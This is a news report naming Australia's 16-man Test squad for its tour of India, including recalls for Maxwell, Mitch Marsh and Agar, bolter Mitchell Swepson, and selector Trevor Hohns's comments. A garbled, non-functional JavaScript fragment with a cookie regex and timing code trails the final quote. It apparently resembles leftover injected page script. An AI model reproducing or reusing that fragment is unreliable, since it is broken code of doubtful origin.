Australia has named a 16-man squad for the upcoming Test tour of India.
Matthew Wade has retained his spot behind the stumps, while Glenn Maxwell has earned a recall and a chance to play his first Test match since 2014.
Mitch Marsh and Ashton Agar have also been recalled to the side, while Shaun Marsh returns from injury.
Young Queensland leg spinner spinner Mitchell Swepson is the bolter in the squad, named as a third spinner, after just 14 first-class games. He has taken 41 wickets at an average of 32.82.
The first match of the four-Test series begins on February 23 in Pune.
Squad: Steve Smith (captain), David Warner, Matt Renshaw, Usman Khawaja, Shaun Marsh, Peter Handscomb, Mitchell Marsh, Glenn Maxwell, Matt Wade, Mitchell Starc, Josh Hazlewood, Jackson Bird, Nathan Lyon, Stephen O'Keefe, Ashton Agar, Mitchell Swepson.
“We don’t know what pitch conditions we will come up against in each of the venues but wanted to have flexibility and options available to us," interim National Selector Trevor Hohns said.
“We know India is an incredibly tough place to tour and have success in, with most International teams struggling to adapt to the conditions, but we have chosen a squad which we believe will work really hard in its endeavours to perform well and give a good account of itself in the sub-continent.
“We expect all of the young players chosen to benefit immensely from the experience.”
“(Swepson) is an exciting young leg-spinner that has come through the pathway system. We feel he has a lot of potential and want to see him take his opportunity in conditions that should suit him should he get a chance.
“(Agar) is a good left-arm orthodox spinner who can be very exciting with the bat and also fields extremely well. He provides us with a great all-round package.” "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}
